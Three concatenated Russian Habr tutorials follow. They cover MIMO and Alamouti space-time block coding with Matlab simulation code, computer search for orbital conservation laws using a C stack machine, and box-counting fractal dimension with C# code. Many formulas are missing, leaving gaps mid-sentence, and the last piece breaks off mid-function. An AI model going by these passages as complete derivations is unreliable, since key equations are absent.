MIMO раньше представлялась только лишь как технология разнесенного приема (имеем одну передающую и N приемных антенн). Реализуя эту идею было выпущено несколько серий военных тропосферных станций (может кому и довелось послужить на таких) и в принципе на том этапе, расходы на разворачивание дополнительных антенн себя оправдывали.
Принцип обработки был прост как лопата: в двух приемных ветках сравнивалось отношение сигнал/шум и в соответствии с оценкой этого значения каждой ветке обработки назначались весовые коэффициенты, играющие роль при принятии решения, грубо говоря, что было передано: 0 или 1. Эта нехитрая система так и была названа **критерием оптимального весового сложения** (MRC).
Дальше-больше. В 1997 году ирано-американец Аламоути предлагает новинку основанную на уже известных тезисах, назвав её **пространственно-временным блоковым кодом** (STBC). После этого год от года увеличивается вал публикаций на тему MIMO и тема стает очень актуальной на фоне того, что частотно-энергетическую эффективность систем связи повышать стало все сложнее и сложнее (уже продуманы максимально эффективные сигнально-кодовые конструкции). А дальше пошло-поехало: **пространственно-временное решетчатое кодирование**, пространственное мультиплексирование, а также большое количество алгоритмов декодирования от простейшего «максимального правдоподобия (ML- max likehood)» до сферического турбодекодирования на GPU и т.д.##### Как это работает
И ещё немного теории###### Радиоканалы
Вообще эта классификация огромна и её обзор достоен отдельной статьи, но мы остановимся лишь на нескольких моментах.
Проходя путь от передатчика (T) к приемника ( R) наша радиоволна затухает (теряет в энергетике), причем то насколько она потеряет зависит то, есть ли между нашими T и R прямая видимость. Если она есть, то основная вина за потери ложится на потери среды распространения (path loss), если прямой видимости нет, то начинается самое интересное. Сталкиваясь с различными препятствиями волна идет к пункту назначения **несколькими путями** (многолучевое распространение) и соответственно каждый луч проходит разное расстояние. На приеме все эти лучи могут складывать с противофазе, что дополнительно снижает интенсивность сигнала, что заставляет уровень сигнала постоянно «плавать». Поэтому в зоне неуверенного приема ваши мобильники никак не могут определиться сколько «палочек сигнала» показывать.
Все это безобразие назвали **замираниями**. Бывают они разными и могут описывать разными законами. При наличии постоянной компоненты (наличии прямой видимости) подойдет **распределение Райса**, а при её отсутствии — **Релеевское** (частный вариант). Формул не буду приводить умышленно, они большие и страшные.###### MIMO вот ОНО
Разбор того, как ЭТО работает проведем на самом простом примере. У нас есть 2 антенны на передаче и одна на приеме.
k — так называемая **комплексная передаточная функция канала** (определяющая его **ФЧХ** и **АЧХ**), причем различная для каждого момента времени для каждого из принятых сигналов. Главная изюминка как раз и заключается в том, что сигналы для каждой из приемных антенн проходят **разные пути**.
В соответствии с методом ПВБК, входной поток данных разбивается на пары [с1, с2], причем, на первом полутактовом интервале символ c1 передается через антенну Т1 и символ c2 передается через антенну Т2. На втором полутактовом интервале порядок передачи изменяется: через антенну Т1 передается инверсия символа c2 (на рисунке обозначен как (–c\*2), а символ c1 передается через антенну Т2 (на рисунке обозначен как (c\*1). Данный алгоритм удобно представить в виде матрицы, где номер строки будет соответствовать номеру передатчика, а номер столбца – номер полутакта (в общем случае – шаг такта) передачи. Символ "**\***" как уже многие догадались-комплексное сопряжение.
В итоге на входе мы получаем 2 сигнала (мультипликативные отклики за первый и второй такт), проведя ряд занимательных математических преобразований мы получаем исходный сигнал, а точнее пару этих сигналов. Собственно вся фишка и заключается в том, что каждый из этих сигналов передавался **2 раза**.
Почему это возможно? Потому что **k разный для каждого луча**, а матрица Аламоути (рисунок выше) является [ортогональной](http://ru.wikipedia.org/wiki/%D0%9E%D1%80%D1%82%D0%BE%D0%B3%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0).
#### Практика
А теперь проведем моделирование и посмотрим выигрыш MIMO перед SISO(single in single out).
Все свои расчеты и моделирование я провожу в **Matlab**'e потому, что это ~~самая лучшая в мире~~ очень удобная для таких экспериментов среда.
Вот собственно кусок для расчета кривой Аламоути:
```
numOfBlk = 1e6; % число блоков для передачи
qampoz = 4; % выбираем позиционность сигнала КАМ
SNRdB = 6:1:40; %пределы изменения отношения сигнал/шум
linColor = 'b'; % цвет 1
linSym = 'o'; % цвет 2
errRate = zeros(size(SNRdB)); %пустышка
% Аламоути
for i = 1 : length(SNRdB)
txData = randint(numOfBlk*2,1,qampoz);%формируем инф поток
temp = reshape(txData,numOfBlk,2); %разбиваем на подпотоки
temp = qammod(temp,qampoz); %модулируем
H = 1/sqrt(2) * (randn(numOfBlk,2) + sqrt(-1)*randn(numOfBlk,2)); %задаем канал(он релеевский)
txMod(:,1) = H(:,1).* 1/sqrt(2).*temp(:,1) + H(:,2).* 1/sqrt(2).*temp(:,2) ; %обработка на приеме
txMod(:,2) = -H(:,1).*(1/sqrt(2).*temp(:,2)').' + H(:,2).*(1/sqrt(2).*temp(:,1)').' ;
txMod = awgn(txMod,SNRdB(i),'measured');
temp(:,1) = sqrt(2)*(H(:,1)'.' .* txMod(:,1) + H(:,2) .* txMod(:,2)'.')./(abs(H(:,1)).^2 + abs(H(:,2)).^2);
temp(:,2) = sqrt(2)*(H(:,2)'.' .* txMod(:,1) - H(:,1) .* txMod(:,2)'.')./(abs(H(:,1)).^2 + abs(H(:,2)).^2);
rxData(:,1) = qamdemod(temp(:,1),qampoz); %демодуляция
rxData(:,2) = qamdemod(temp(:,2),qampoz);
[numErr errRate(i)] = symerr(rxData,reshape(txData,numOfBlk,2)); %считаем ошибки
end
```
Эта часть для классической схемы:
```
%SISO
for i = 1 : length(SNRdB)
temp = qammod(txData,qampoz);
H = 1/sqrt(2) * (randn(numOfBlk*2,1) + sqrt(-1)*randn(numOfBlk*2,1));%тот же канал
txMod = H.*temp;
txMod = awgn(txMod,SNRdB(i),'measured');
temp = txMod./H;
rxData = qamdemod(temp,qampoz);
[numErr errRate(i)] = symerr(rxData,txData);
end
```
Из графика видно что выигрыш для вероятности ошибки Pош=10^(-3) примерно **12 [дБ]**. И это просто огромная величина.
##### В качестве заключения
Спасибо тем, кто дочитал, хочу отметить, что:
* Одночастотный сигнал это хорошо, но в расчетах я принимал идеальный вариант когда точно известна КПФ канала на приеме, а как провести его оценку в реальности? Тут-то идеален OFDM сигнал в структуру которого можно встроить пилот-сигналы и по ним построить профиль канала (узнать КПФ для каждой поднесущей). Кстати они использовались ещё до MIMO (см. [DVB-T](http://ru.wikipedia.org/wiki/DVB-T) например) для оценки помехоустойчивости
* Модель канала выбрана самая легкая и от реального далековата
* Модель сигнала выбрана самая простая, если брать сигнал OFDM, то его формирование само по себе непростое занятие + тогда должны быть другие условия к модели канала (канал-то частотно-селективный нужен)
* ПВБК не единственный и не самый эффективный из методов применяемых в технологии MIMO, но самый простой и легко реализуемый
* Выигрыш для КАМ-16,64 уменьшается с ростом позиционности, все дело в энергетике (причина — меньшее [Евклидово расстояние](http://ru.wikipedia.org/wiki/%D0%95%D0%B2%D0%BA%D0%BB%D0%B8%D0%B4%D0%BE%D0%B2%D0%BE_%D1%80%D0%B0%D1%81%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5) между сигнальным точками)
Остальное уже касается MIMO-OFDM и это тема отдельной статьи. | https://habr.com/ru/post/150225/ | null | ru | null |
# Заставляем компьютер выводить общие законы физики из наблюдений
Talifero (ru.wikipedia.org)Как правило, компьютеры в естественных науках занимаются либо получением чисел из чисел, либо выводом формул из формул. Попытаемся решить более экстравагантную задачу — из набора численных данных вывести формулы общих физических законов, причём не только неизвестные параметры формул, но и сам их вид. В качестве примера рассмотрим задачу о кеплеровых орбитах — в частности, о движении спутника вокруг Земли, и получим законы сохранения энергии и момента импульса, из которых в небесной механике и выводятся эллипсы орбит и законы Кеплера.
Вдохновением для этих занятий послужила замечательная [статья из Science](http://fenn.freeshell.org/Science.pdf), которая убедила меня и многих других в том, что к таким задачам в принципе можно подступиться. Как и у авторов статьи, наш пример будет немного игрушечным, хоть и для совсем другой физической системы. Более того, мы ещё сильнее ограничим пространство поиска (до  формул, что тоже немало), зато обойдёмся без 32 процессорных ядер и без GPU, а решение получим меньше чем за минуту против десятков минут или даже пары дней, как в статье. Для всего этого нам понадобится лишь [300 строк кода на C](https://github.com/vtereshkov/conservation-laws-inference/blob/main/law.c) — и никаких фреймворков.
Вход и выход
------------
Итак, будем рассматривать движение спутника вокруг Земли, подчиняющееся закону всемирного тяготения , где для удобства возьмём  и . Источником измерительных данных будет служить симулятор, выдающий массив полярных координат спутника в плоскости орбиты: расстояний  и углов . Для основного алгоритма поиска симулятор является чёрным ящиком, так что никакого закона тяготения алгоритм поиска изначально не знает.
Вопрос о выходных данных сложнее. В ответе требуется иметь не число и не массив чисел, а формулу. Представим её в виде байт-кода простейшей стековой виртуальной машины, которая может оперировать следующими базовыми понятиями:
* Действительные переменные 
* Целые числовые константы от 0 до 5
* Сложение, вычитание, умножение, деление
* Возведение в квадрат
Система команд виртуальной машины
| | | |
| --- | --- | --- |
| **Код** | **Мнемоника** | **Значение** |
| 0 | 0 | Загрузка константы 0 |
| ... | ... | ... |
| 5 | 5 | Загрузка константы 5 |
| 6 | a | Загрузка переменной a |
| ... | ... | ... |
| 9 | d | Загрузка переменной d |
| 10 | + | Сложение |
| 11 | - | Вычитание |
| 12 | \* | Умножение |
| 13 | / | Деление |
| 14 | ^ | Возведение в квадрат |
| 15 | . | Нет операции |
Такой ограниченный набор позволяет уместить каждую команду виртуальной машины в 4 бита. Если теперь дополнительно ограничить длину формулы 16 командами, то *любая формула будет представима в виде одного 64-битного целого числа*. Это сулит исключительные удобства: тип данных `uint64_t` поддерживается как родной современными процессорами и компиляторами, любая формула целиком помещается в регистр процессора и легко передаётся в функции по значению. По сравнению с подходом авторов статьи в Science, всё это сильно упрощает и ускоряет обработку данных, а в конце концов позволяет быстро получить решение даже на весьма убогой машине.
В качестве четырёх допустимых переменных  у нас будут выступать расстояния  и углы  , взятые от симулятора, а также скорости их изменения (иными словами, производные по времени)  и . Коль скоро мы взялись искать законы сохранения, то решением для нас будет любая формула, которая при подстановке в неё переменных, соответствующих истинному движению спутника, не будет изменять своего значения вдоль всей его орбиты, как бы ни менялись при этом сами переменные:
Критерии качества формулы
-------------------------
Условие  можно записать и иначе: скорость изменения самой сохраняющейся величины  должна быть нулевой, то есть . Разумеется, из-за численных ошибок (а в реальной жизни ещё и из-за ошибок измерения) ни одна найденная нами формула не будет удовлетворять этому условию точно. Следовательно, мы можем лишь пожелать иметь как можно меньшее среднеквадратичное значение , посчитанное вдоль всей орбиты. Тогда для удобства ранжирования формул по качеству можно взять величину . Чем она больше, тем точнее сохраняется найденная величина .
Однако сразу же приходит понимание того, что существует множество формул вроде  или , которые совершенно постоянны и будто бы идеально соответствуют выбранному критерию качества (для них ), однако на самом деле тривиальны, поскольку просто не зависят ни от одной переменной. Поэтому необходим дополнительный критерий: у функции  должны быть ненулевые составляющие градиента, то есть ненулевая чувствительность к её аргументам. В зависимости от того, к каким именно аргументам (среди четырёх имеющихся) мы потребуем чувствительности, алгоритм будет сходиться к разным сохраняющимся величинам.
Закон сохранения момента импульса
---------------------------------
Начнём с очевидного. Потребуем ненулевой чувствительности  к  и запустим поиск максимума  случайным перебором формул (ничего проще и тупее и не придумаешь!). Уже через несколько секунд начнут попадаться формулы вроде `da^..*5/........` .
Попробуем расшифровать эту формулу. Воспользуемся мнемониками команд нашей виртуальной машины. Учтём соответствия переменных . Наконец, вспомним о том, что последовательность команд стековой машины фактически содержит формулу вычисляемого выражения в [обратной польской записи](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D0%BB%D1%8C%D1%81%D0%BA%D0%B0%D1%8F_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C). Тогда окажется, что компьютер предлагает нам формулу . Делитель 5 не играет никакой роли в том, будет ли величина сохраняться или нет, и его можно смело отбросить. Получается, что мы нашли соотношение
Это не что иное, как [закон сохранения момента импульса](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BA%D0%BE%D0%BD_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BC%D0%BE%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8%D0%BC%D0%BF%D1%83%D0%BB%D1%8C%D1%81%D0%B0). Момент импульса — это, грубо говоря, произведение импульса тела на плечо . У нас , , так что закон имеет в точности тот вид, который мы и обнаружили. Можно даже вычислить конкретное значение этой константы. Для той орбиты, которая заложена в симулятор, получается . Итак, у нас есть первый нетривиальный результат. Его наглядной геометрической трактовкой служит второй закон Кеплера:
> За равные промежутки времени радиус-вектор спутника заметает равные площади.
>
>
Закон сохранения энергии
------------------------
[Закон сохранения энергии](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BA%D0%BE%D0%BD_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%8D%D0%BD%D0%B5%D1%80%D0%B3%D0%B8%D0%B8) найти намного сложнее. Начинать следует с того, чтобы направить поиск в нужное русло, а именно потребовать, чтобы сохраняющаяся величина имела ненулевую чувствительность к скоростям  и . В противном случае алгоритм будет постоянно натыкаться на формулы момента импульса. Их много, они рассеяны по всему пространству поиска, выглядят совершенно по-разному, украшены всевозможными бесполезными множителями и делителями, но физически все выражают один и тот же закон сохранения момента импульса, с которым мы уже разобрались. Теперь эти формулы стали для нас помехой, и найти среди них гораздо более сложные и редкие формулы закона сохранения энергии очень трудно. Когда эта помеха наконец исключена, обнаруживается, что случайный поиск не приносит больше ничего. Разумеется, бессмысленно надеяться и на исчерпывающий перебор среди всех  формул. Ну а поскольку мы ищем дискретную величину, не даст результата и градиентный спуск.
Однако ничто не мешает применить, например, [генетические алгоритмы](https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BD%D0%B5%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC) или [имитацию отжига](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%B8%D0%BC%D0%B8%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%BE%D1%82%D0%B6%D0%B8%D0%B3%D0%B0). Наш метод будет похож на имитацию отжига. Создадим начальный набор случайных формул. На каждом шаге "отжига" будем вносить в формулы небольшие случайные модификации (менять одну из 16 команд виртуальной машины). Если критерий качества формулы при этом возрос, то есть , то модифицированная формула заменяет исходную. Если же он снизился, то модифицированная формула тоже может заменить исходную, но лишь с вероятностью , где — "температура". Обычно по мере "отжига" уменьшают "температуру", однако даже без этого "охлаждения" удаётся получить результат. Спустя 1000 шагов при размере набора 500 формул часто находится несколько подходящих вариантов (их точное количество и вид зависят от генератора случайных чисел). Например:
```
.c^d3a-*d5.5++-+
d5.d+da.*-c.^++.
```
Расшифруем первую формулу (вторая даёт то же самое):
После отбрасывания бесполезного члена -10 остаётся странное выражение, как будто бы не похожее ни на один из известных законов сохранения:
Однако можно вспомнить, что раньше мы получили закон сохранения момента импульса в виде . Если теперь подставить этот момент импульса вместо 2, то получим:
А это уже закон сохранения энергии. Первый член представляет собой кинетическую энергию, в которой квадрат скорости выражен в полярных координатах. Второй член  описывает потенциальную энергию гравитационного притяжения, раз уж мы приняли . Их сумма, то есть полная энергия, постоянна.
Итак, мы нашли в аналитическом виде два фундаментальных закона сохранения, опираясь лишь на численные данные о координатах движущегося спутника, с чем себя и поздравим.
[Код на GitHub](https://github.com/vtereshkov/conservation-laws-inference/blob/main/law.c) | https://habr.com/ru/post/570786/ | null | ru | null |
# Вычисление фрактальной размерности Минковского для плоского изображения
 Доброго времени суток читатель. Сегодняшний пост будет посвящен вычислению приближенного значения [фрактальной размерности](http://en.wikipedia.org/wiki/Fractal_dimension) плоского изображения, которая тесно связано с [размерности Минковского](http://en.wikipedia.org/wiki/Minkowski%E2%80%93Bouligand_dimension). Это интересно как минимум по двум причинам. Во-первых оказывается, что [размерность](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%B0) ограниченного множества в метрическом пространстве может быть не только целым числом, но и любым неотрицательным. Во-вторых значение размерности контура изображения (а это ограниченное множество в метрическом пространстве) является хорошим [признаком](http://en.wikipedia.org/wiki/Feature_extraction). В рамках сегодняшнего поста не предусмотрено исследование робастности этого признака, но давайте рассмотрим показательный пример. [Множество различных характеристик клеток опухолей молочной железы](http://archive.ics.uci.edu/ml/datasets/Breast+Cancer+Wisconsin+%28Diagnostic%29), полученное в результате анализа снимков тонкоигольной пункционной биопсии. Множество данных состоит из 30 признаков (поля таблицы) с пометкой злокачественная или доброкачественная опухоль, и одним из признаков является как раз фрактальная размерность ядер клеток опухоли. Под катом вас ждет объяснение смысла фрактальной размерности множества, по возможности доступным языком, алгоритм вычисления приближенного значения этой размерности, его реализация на c# и ряд примеров с картинками. Возможно вы открыли этот пост только из-за картинки справа, это изображение я позаимствовал из [инстаграмма Jennifer Selter](http://instagram.com/jenselter), и в конце мы вычислим фрактальную размерность, так сказать филейной части Дженифер. Хочется кстати вас попросить ответить на пару вопросов в конце поста.
#### Размерность
Как обычно для того что бы понять смысл алгоритма, необходимо немного окунуться в теорию. [Википедия сообщает нам](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%B0), что размерность в физике (и скорее всего большинство людей именно так воспринимают смысл размерности) — это количество независимых параметров, необходимых для описания состояния объекта, или количество степеней свободы физической системы. Но в математике все обстоит немного по-другому, тут у нас есть ряд определений размерности, которые часто зависят от рабочего пространства. В рамках общей топологии дается несколько определений размерности, и из них нам интересны будут [размерность Хаусдорфа](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%A5%D0%B0%D1%83%D1%81%D0%B4%D0%BE%D1%80%D1%84%D0%B0), [размерность Минковского](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%9C%D0%B8%D0%BD%D0%BA%D0%BE%D0%B2%D1%81%D0%BA%D0%BE%D0%B3%D0%BE) и [фрактальная размерность](http://en.wikipedia.org/wiki/Fractal_dimension).
Для начала вспомним формальный смысл тех размерностей, которые для нас интуитивно понятны, в [векторном пространстве](http://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%BE) которое нас окружает. Под базисом векторного пространства мы понимаем максимальное множество линейно не зависимых векторов. Количество этих векторов мы называем размерностью векторного пространства, или его рангом. И любой элемент векторного пространства можно представить в виде линейной комбинации базисных векторов.
#### Размерность Хаусдорфа
Размерность Хаусдорфа обобщает понятие размерности действительного векторного пространства, и является естественным способом определения размерности подмножества в метрическом пространстве. Например размерность Хаусдорфа **n**-мерного (размерность в смысле векторного пространства) унитарного пространства (особый случай векторного пространства) будет тоже равна **n**. Хорошее математическое описание [размерности Хаусдорфа дано в русской википедии](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%A5%D0%B0%D1%83%D1%81%D0%B4%D0%BE%D1%80%D1%84%D0%B0), нам же важно понять смысл этой размерности интуитивно. Представим полное [покрытие множества](http://en.wikipedia.org/wiki/Cover_(topology)) **X** шарами радиуса не более чем **r**, обозначим количество этих шаров за **N( r )**.
Значение **N( r )** будет расти при уменьшении **r** (для полного покрытия будет требоваться все больше шаров). Размерностью Хаусдорфа *хорошего* множества **X** будет являться такое уникальное число **d**, что **N( r )** будет расти как **1/rd** при стремлении **r** к нулю. Под хорошим множеством понимаются гладкие множества без особенностей, какими например обладают фракталы. Примерами хороших множеств могут быть любые идеализированные геометрические объекты такие как куб, сфера и так далее.
#### Фрактальная размерность
Опишем один простой способ задания фрактальной размерности, хотя например размерность Минковского так же является одой из фрактальных размерностей, и она как раз тесно связана с размерностью Хаусдорфа, но об этом позже. Вот он простой способ задания фрактальной размерности:
* Возьмем некоторую **D**-мерную геометрическую структуру и будем делить итеративно ее стороны на **M** равных частей (на следующей итерации, будем делить каждую полученную на предыдущей итерации часть так же на **M** частей)
* Каждый уровень будет состоять из **MD** частей предыдущего уровня
* Обозначим следующим образом количество полученных частей **N = MD**
Выполним следующее преобразование для вычисления формулы для значения фрактальной размерности **D**:
Рассмотрим простые примеры, которые я почерпнул из очень [крутого курса по комплексным системам](http://www.complexityexplorer.org/online-courses/3). Возьмем отрезок (одномерное ограниченное множество), разделим его на две равные части, таким же образом будем поступать с каждой полученной частью. Таким образом мы будем создавать полное покрытие множества.
Т.е. **M = 2** и **N = 2**, т.к. из каждой части производится два новых куска отрезка, вычислим **D**:
Если разделять отрезок не на 2 части, а на 3, то **D** все равно будет равна 1, т.к. **M = 3** и **N = 3**. Эта размерность совпадает с размерностью Хаусдорфа для *хорошего* множества.
Давайте рассмотрим аналогичную процедуру для квадрата.
Получаем **M = 2** и **N = 4**, т.к. разделяя стороны на 2 равные части, мы получаем 4 новых, вычислим фрактальную размерность
И опять полученная размерность совпала с размерностью Хаусдорфа. Такой же результат можно получить если делить стороны на 3 равные части и т.д.
Бенуа Мандельброт при исследовании реальных объектов сделал очевидное замечание:
> clouds are not spheres, mountains are not cones, coastlines are not circles, and bark is not smooth, nor does lightning travel in a straight line
В реальном мире мы редко имеем дело с идеализированными объектами, что же будет если мы рассмотрим *не совсем хороший* геометрический объект, например [кривую Коха](http://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%B2%D0%B0%D1%8F_%D0%9A%D0%BE%D1%85%D0%B0) (не путать с палочкой), вспомним алгоритм генерации такого множества. На каждой новой итерации, каждый кусок кривой, который является прямым отрезком, делится на три равные части, затем средний кусок убирается, а на его место становится конструкция напоминающая перевернутую букву **V**, каждое ребро которой равно убранной части отрезка (а так же равно и оставшимся).
Другими словами **M = 3**, т.к. отрезок делится на три равные части, а **N = 4**, т.к. каждая часть превращается в 4 части равных 1/4 от оригинала. Тогда фрактальная размерность такого множества при бесконечном итерировании будет равна следующему значению:
В качестве другого примера давайте глянем на [треугольник Серпинского](http://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B5%D1%83%D0%B3%D0%BE%D0%BB%D1%8C%D0%BD%D0%B8%D0%BA_%D0%A1%D0%B5%D1%80%D0%BF%D0%B8%D0%BD%D1%81%D0%BA%D0%BE%D0%B3%D0%BE)
На каждой итерации одна сторона делится на 2 части, т.е. **M = 2**, а в результате получается 3 части, т.е. **N = 3**, тогда
Возникает конечно вопрос, вот мы получили цифры некоторые, ну размерность стала дробной, и что? Есть ли в этом какой-то смысл, или это просто математические штучки. Строгой формулировки с описанием смысла дробности размерности нет, но можно ее интерпретировать следующим образом, на некотором интуитивном уровне. Фрактальная размерность чувствительна
> ко всякого рода несовершенствам реальных объектов, позволяя различать и индивидуализировать то, что прежде было безлико и неразличимо ([источник](http://ilab.xmedtest.net/?q=node/4037))
В курсе по анализу комплексных систем упоминается следующая трактовка: дробная размерность — это своего рода *плотность самоподобия*.
Но говоря о реальных объектах читатель сразу же скажет, но ведь и кривая Коха и треугольник Серпинского далеки от реальности, что же делать тогда? Как я упомянул выше, приведенное определение фрактальной размерности является простым, и одним из нескольких. Давайте перейдем к более сложному определению фрактальной размерности. А пока взгляните, например, на капусту брокколи Романеско, вот такая вот реальность.
#### Размерность Минковского
Размерность Минковского — это один из способов задания фрактальной размерности ограниченного множества в метрическом пространстве, определяется следующим образом:
* где **N(ε)** минимальное число множеств диаметра **ε**, которыми можно покрыть исходное множество.
Если предел не существует, то рассматривают верхний и нижний пределы и говорят соответственно о верхней и нижней размерности Минковского. Верхняя и нижняя размерности Минковского тесно связанны с размерностью Хаусдорфа, интуитивно это легко уловить по способу задания размерности. Обычно упомянутые три размерности совпадают, и только в очень специфичных случаях имеет смысл их различать, но это не наши случаи.
Размерность Минковского имеет так же другое название — **box-counting dimension**, из-за альтернативного способа ее определения, который кстати дает подсказку к способу вычисления этой самой размерности. Рассмотрим двумерный случай, хотя аналогичное определение распространяется и на n-мерный случай. Возьмем некоторое ограниченное множество в метрическом пространстве, например черно-белую картинку, нарисуем на ней равномерную сетку с шагом **ε**, и закрасим те ячейки сетки, которые содержат хотя бы один элемент искомого множества.
Далее начнем уменьшать размер ячеек, т.е. **ε**, тогда размерность Минковского будет вычисляться по вышеприведенной формуле, исследуя скорость изменения отношения логарифмов. Эта фраза может быть не сразу понятна, но думаю все прояснит алгоритм, используемый для вычисления приближенного значения размерности Минковского.
#### Box-counting алгоритм
Алгоритм выводится следующим образом, обозначим за **Dbc** приближенное значение размерности Минковского. Запишем определение этой размерности, убрав предел, его мы будем имитировать в итерациях, в которых будет изменяться размер ячеек.
Если зафиксировать размеры ячеек **ε** и рассматривать **Dbc** как неизвестное, то легко заметить, что приведенное выражение является формулой линии. Мы можем запустить цикл по различным размерам ячеек **ε** и записывать результат. Давайте нанесем эти результаты на график и построим [линию регрессии](http://en.wikipedia.org/wiki/Linear_regression) для полученного множества данных, это значение и будет являться аппроксимацией фрактальной размерности Минковского.
[Вот кстати список объектов с их фрактальными размерностями](http://en.wikipedia.org/wiki/List_of_fractals_by_Hausdorff_dimension).
Надеюсь у меня получилось передать связь между естественной размерностью, и тем каким образом и зачем люди пришли к другим определениям размерности. Давайте перейдем к коду, а затем к примерам.
#### Box-counting алгоритм, C# код
Для вычисления размерности Минковского нам необходимы будут две процедуры, начнем с линейной регрессии. Вообще решить задачу линейной регрессии можно различными способами, чаще всего для этого используется метод градиентного спуска и метод наименьших квадратов (Normal equations). Первый хорошо работает на больших и широких данных, второй слабоват на широких данных из-за необходимости вычислять обратную матрицу, ширина которой равна ширине массива данных. В нашем случае ширина всего 2, так что это наш случай. В векторизованном виде решение линейной регрессии записывается следующим образом:
Обратную матрицу будем искать по следующей формуле:
**Normal equations**
```
public static double[] NormalEquations2d(double[] y, double[] x)
{
//x^t * x
double[,] xtx = new double[2, 2];
for (int i = 0; i < x.Length; i++)
{
xtx[0, 1] += x[i];
xtx[0, 0] += x[i] * x[i];
}
xtx[1, 0] = xtx[0, 1];
xtx[1, 1] = x.Length;
//inverse
double[,] xtxInv = new double[2, 2];
double d = 1/(xtx[0, 0]*xtx[1, 1] - xtx[1, 0]*xtx[0, 1]);
xtxInv[0, 0] = xtx[1, 1]*d;
xtxInv[0, 1] = -xtx[0, 1]*d;
xtxInv[1, 0] = -xtx[1, 0]*d;
xtxInv[1, 1] = xtx[0, 0]*d;
//times x^t
double[,] xtxInvxt = new double[2, x.Length];
for (int i = 0; i < 2; i++)
{
for (int j = 0; j < x.Length; j++)
{
xtxInvxt[i, j] = xtxInv[i, 0]*x[j] + xtxInv[i, 1];
}
}
//times y
double[] theta = new double[2];
for (int i = 0; i < 2; i++)
{
for (int j = 0; j < x.Length; j++)
{
theta[i] += xtxInvxt[i, j]*y[j];
}
}
return theta;
}
```
В нулевом элементе выходного вектора содержится угловой коэффициент (это и будет искомая размерность Минковского), а в следующем элементе — смещение. И собственно ключевая функция, которая возвращает датасет, по которому необходимо вычислить угловой коэффициент
**Box-counting**
```
///
/// Box-counting algorithm
///
/// black-white bitmap
/// initial size of square of grid
/// final size of square of grid
/// step of changing of the grid
/// baList.Add(Math.Log(1d/b), Math.Log(a)), where b is swuare length size, a is the number of intersection of image with grid squares
public static IDictionary BowCountingDimension(BwBitmap bw, int startSize, int finishSize, int step = 1,
string dataPath = "")
{
//length size - number of boxes
IDictionary baList = new Dictionary();
for (int b = startSize; b <= finishSize; b += step)
{
int hCount = bw.Height/b;
int wCount = bw.Width/b;
bool[,] filledBoxes =
new bool[wCount + (bw.Width > wCount\*b ? 1 : 0), hCount + (bw.Height > hCount\*b ? 1 : 0)];
for (int x = 0; x < bw.Width; x++)
{
for (int y = 0; y < bw.Height; y++)
{
if (bw.GetBwPixel(x, y))
{
int xBox = x/b;
int yBox = y/b;
filledBoxes[xBox, yBox] = true;
}
}
}
int a = 0;
for (int i = 0; i < filledBoxes.GetLength(0); i++)
{
for (int j = 0; j < filledBoxes.GetLength(1); j++)
{
if (filledBoxes[i, j])
{
a++;
}
}
}
baList.Add(Math.Log(1d/b), Math.Log(a));
if (dataPath.Length > 0)
{
if (dataPath[dataPath.Length - 1] != '\\')
{
dataPath += '\\';
}
if (Directory.Exists(dataPath))
{
XBitmap bmp = new XBitmap(bw);
for (int i = 0; i < filledBoxes.GetLength(0); i++)
{
bmp.DrawLine(i \* b, 0, i \* b, bmp.Height, Color.HotPink);
}
for (int j = 0; j < filledBoxes.GetLength(1); j++)
{
bmp.DrawLine(0, j \* b, bmp.Width, j \* b, Color.HotPink);
}
for (int i = 0; i < filledBoxes.GetLength(0); i++)
{
for (int j = 0; j < filledBoxes.GetLength(1); j++)
{
if (filledBoxes[i, j])
{
bmp.FillRectangle(i \* b, j \* b, i \* b + b, j \* b + b, Color.Red, 2);
}
}
}
bmp.ConvertToNativeBitmap().Save(dataPath + b + ".bmp");
}
}
Logger.Instance.Log("BoxCounting: b is " + b + " of " + finishSize);
}
if (dataPath.Length > 0)
